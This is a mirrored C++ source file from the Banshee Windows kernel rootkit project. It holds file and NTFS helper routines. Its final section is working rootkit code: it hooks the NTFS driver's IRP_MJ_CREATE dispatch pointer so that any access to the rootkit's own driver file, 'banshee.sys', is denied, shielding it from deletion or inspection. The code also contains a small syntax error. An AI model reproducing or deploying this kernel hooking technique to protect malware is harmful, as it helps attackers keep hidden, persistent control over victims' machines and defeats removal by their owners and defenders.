mirror of
https://github.com/eversinc33/Banshee
synced 2026-06-08 14:08:04 +00:00
280 lines
7.8 KiB
C++
280 lines
7.8 KiB
C++
#include "FileUtils.hpp"
|
|
#include "Debug.hpp"
|
|
#include "Globals.hpp"
|
|
|
|
/*
|
|
* @brief Retrieves the filename from a given full path.
|
|
*
|
|
* @param[in] FullPath Pointer to a wide character string representing the full path.
|
|
*
|
|
* @return PWCH Pointer to the character following the last backslash in the path.
|
|
*/
|
|
PWCH
|
|
BeGetFilenameFromPath(
|
|
_In_ PWCH fullPath
|
|
)
|
|
{
|
|
//
|
|
// Find the last occurrence of backslash in the full path
|
|
//
|
|
PWCH lastSlash = nullptr;
|
|
PWCH current = fullPath;
|
|
while (*current != L'\0')
|
|
{
|
|
if (*current == L'\\')
|
|
{
|
|
lastSlash = current;
|
|
}
|
|
current++;
|
|
}
|
|
|
|
//
|
|
// If a backslash is found, return the pointer to the character after the backslash
|
|
//
|
|
if (lastSlash != nullptr)
|
|
{
|
|
return lastSlash + 1;
|
|
}
|
|
else
|
|
{
|
|
//
|
|
// Otherwise, return the original pointer (assuming fullPath points to the filename itself)
|
|
//
|
|
return fullPath;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* @brief Retrieves the driver object of the NTFS driver.
|
|
*
|
|
* @param[out] NtfsDriverObject Pointer to a variable to receive the pointer to the NTFS driver object.
|
|
*
|
|
* @return NTSTATUS STATUS_SUCCESS if successful, otherwise an error code.
|
|
*/
|
|
NTSTATUS
|
|
BeGetNtfsDriverObject(
|
|
_Out_ PDRIVER_OBJECT* pNtfsDriverObject
|
|
)
|
|
{
|
|
UNICODE_STRING usNtfsDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\NTFS");
|
|
OBJECT_ATTRIBUTES oa = { 0 };
|
|
|
|
InitializeObjectAttributes(&oa, &usNtfsDriverName, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
//
|
|
// Get a pointer to the driver object representing the NTFS driver
|
|
//
|
|
NTSTATUS status = BeGlobals::pObReferenceObjectByName(&usNtfsDriverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)pNtfsDriverObject);
|
|
if (!NT_SUCCESS(status))
|
|
return status;
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* @brief Reads the contents of a file into a dynamically allocated buffer.
|
|
*
|
|
* @param[in] FilePath Pointer to a wide string containing the full path to the file.
|
|
* @param[out] OutBuffer Pointer to a memory location that will receive the allocated buffer.
|
|
* @param[out] Outsize Pointer to a variable that will receive the size of the allocated buffer.
|
|
*
|
|
* @return NTSTATUS STATUS_SUCCESS if the file was successfully read, otherwise an error code.
|
|
*/
|
|
NTSTATUS
|
|
BeReadFile(
|
|
_In_ PCWSTR filePath,
|
|
_Out_ PVOID* outBuffer,
|
|
_Out_ PSIZE_T outsize
|
|
)
|
|
{
|
|
HANDLE hFile = NULL;
|
|
OBJECT_ATTRIBUTES oa = { 0 };
|
|
IO_STATUS_BLOCK ioStatus = { 0 };
|
|
UNICODE_STRING path = { 0 };
|
|
FILE_STANDARD_INFORMATION fileInfo = { 0 };
|
|
LARGE_INTEGER byteOffset = { 0 };
|
|
|
|
WCHAR ntPath[256 + 10];
|
|
RtlZeroMemory(ntPath, sizeof(ntPath));
|
|
|
|
//
|
|
// Construct the full NT path by prefixing "\??\"
|
|
//
|
|
NTSTATUS status = RtlStringCchCopyW(ntPath, ARRAYSIZE(ntPath), L"\\??\\");
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("RtlStringCchCopyW Failed With Status: %d\n", status);
|
|
return status;
|
|
}
|
|
|
|
//
|
|
// Append the provided file path to the NT path
|
|
//
|
|
status = RtlStringCchCatW(ntPath, ARRAYSIZE(ntPath), filePath);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("RtlStringCchCatW Failed With Status: %d\n", status);
|
|
return status;
|
|
}
|
|
|
|
LOG_MSG("File NT: %ws\n", ntPath);
|
|
|
|
//
|
|
// Initialize the UNICODE_STRING and OBJECT_ATTRIBUTES for the file
|
|
//
|
|
RtlInitUnicodeString(&path, ntPath);
|
|
InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
|
|
|
|
//
|
|
// Open the file with read access
|
|
//
|
|
status = ZwCreateFile(
|
|
&hFile,
|
|
GENERIC_READ | SYNCHRONIZE,
|
|
&oa,
|
|
&ioStatus,
|
|
NULL,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
FILE_SHARE_READ | FILE_SHARE_DELETE,
|
|
FILE_OPEN,
|
|
FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
NULL
|
|
);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("ZwCreateFile Failed With Status: %d\n", status);
|
|
return status;
|
|
}
|
|
|
|
//
|
|
// Query the file size
|
|
//
|
|
status = ZwQueryInformationFile(
|
|
hFile,
|
|
&ioStatus,
|
|
&fileInfo,
|
|
sizeof(FILE_STANDARD_INFORMATION),
|
|
FileStandardInformation
|
|
);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("ZwQueryInformationFile Failed With Status: %d\n", status);
|
|
return status;
|
|
}
|
|
|
|
//
|
|
// Allocate a buffer to store the file contents
|
|
//
|
|
SIZE_T size = fileInfo.EndOfFile.QuadPart;
|
|
*outBuffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, size, DRIVER_TAG);
|
|
*outsize = size;
|
|
|
|
//
|
|
// Read the file into the allocated buffer
|
|
//
|
|
status = ZwReadFile(
|
|
hFile,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&ioStatus,
|
|
*outBuffer,
|
|
static_cast<ULONG>(size),
|
|
&byteOffset,
|
|
NULL
|
|
);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("ZwReadFile Failed With Status: %d\n", status);
|
|
return status;
|
|
}
|
|
|
|
return status;
|
|
}
|
|
|
|
#if DENY_DRIVER_FILE_ACCESS
|
|
/**
|
|
* Hooked IRP_MJ_CREATE handler for the NTFS driver.
|
|
* Denies access to the file if the filename matches the rootkit driver filename "banshee.sys",
|
|
* otherwise calls the original NTFS IRP_MJ_CREATE handler.
|
|
*
|
|
* @param DeviceObject Pointer to the target device object.
|
|
* @param Irp Pointer to the I/O Request Packet (IRP).
|
|
* @return STATUS_ACCESS_DENIED if access to the file is denied, otherwise returns the result of the original function.
|
|
*/
|
|
NTSTATUS
|
|
BeHooked_NTFS_IRP_MJ_CREATE(PDEVICE_OBJECT DeviceObject, PIRP Irp)
|
|
{
|
|
PIO_STACK_LOCATION pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
|
|
|
|
// Get filename of file that will be accessed
|
|
PWCH fullPath = pIoStackIrp->FileObject->FileName.Buffer;
|
|
|
|
// If the file that will be accessed is our rootkit driver, deny access to the file
|
|
// This doesnt hide the file, but protects it from deletion or read access
|
|
UNICODE_STRING driverName = RTL_CONSTANT_STRING(L"banshee.sys")
|
|
if (!BeIsStringNull(fullPath) &&
|
|
(RtlCompareUnicodeString(BeGetFilenameFromPath(fullPath), &driverName, TRUE) == 0))
|
|
{
|
|
LOG_MSG("Filename: %ws\n", fullPath);
|
|
Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
// else call the original function
|
|
return BeGlobals::OriginalNTFS_IRP_MJ_CREATE_function(DeviceObject, Irp);
|
|
}
|
|
|
|
/**
|
|
* Hooks the IRP_MJ_CREATE function of the NTFS driver.
|
|
*
|
|
* @return STATUS_SUCCESS if successful, otherwise returns an appropriate NTSTATUS error code.
|
|
*/
|
|
NTSTATUS
|
|
BeHookNTFSFileCreate()
|
|
{
|
|
PDRIVER_OBJECT ntfsDriverObject;
|
|
NTSTATUS NtStatus = BeGetNtfsDriverObject(&ntfsDriverObject);
|
|
|
|
if (NtStatus != 0)
|
|
{
|
|
LOG_MSG("Failed to get ntfs driver object, (0x%08X)\n", NtStatus);
|
|
return NtStatus;
|
|
}
|
|
|
|
// Get the MJ_CREATE function of the ntfs driver and save it to the global variable
|
|
// Also put our function as the IRP_MJ_CREATE handler instead
|
|
BeGlobals::OriginalNTFS_IRP_MJ_CREATE_function = (NTFS_IRP_MJ_CREATE_FUNCTION)InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[IRP_MJ_CREATE], (LONG64)BeHooked_NTFS_IRP_MJ_CREATE);
|
|
|
|
ObDereferenceObject(ntfsDriverObject);
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/**
|
|
* Unhooks the IRP_MJ_CREATE function of the NTFS driver.
|
|
*
|
|
* @return STATUS_SUCCESS if successful, otherwise returns an appropriate NTSTATUS error code.
|
|
*/
|
|
NTSTATUS
|
|
BeUnhookNTFSFileCreate()
|
|
{
|
|
PDRIVER_OBJECT ntfsDriverObject;
|
|
NTSTATUS NtStatus = BeGetNtfsDriverObject(&ntfsDriverObject);
|
|
|
|
if (NtStatus != 0)
|
|
{
|
|
LOG_MSG("Failed to get ntfs driver object, (0x%08X)\n", NtStatus);
|
|
return NtStatus;
|
|
}
|
|
|
|
// Restore the original address
|
|
InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[IRP_MJ_CREATE], (LONG64)BeGlobals::OriginalNTFS_IRP_MJ_CREATE_function);
|
|
|
|
ObDereferenceObject(ntfsDriverObject);
|
|
return STATUS_SUCCESS;
|
|
}
|
|
#endif |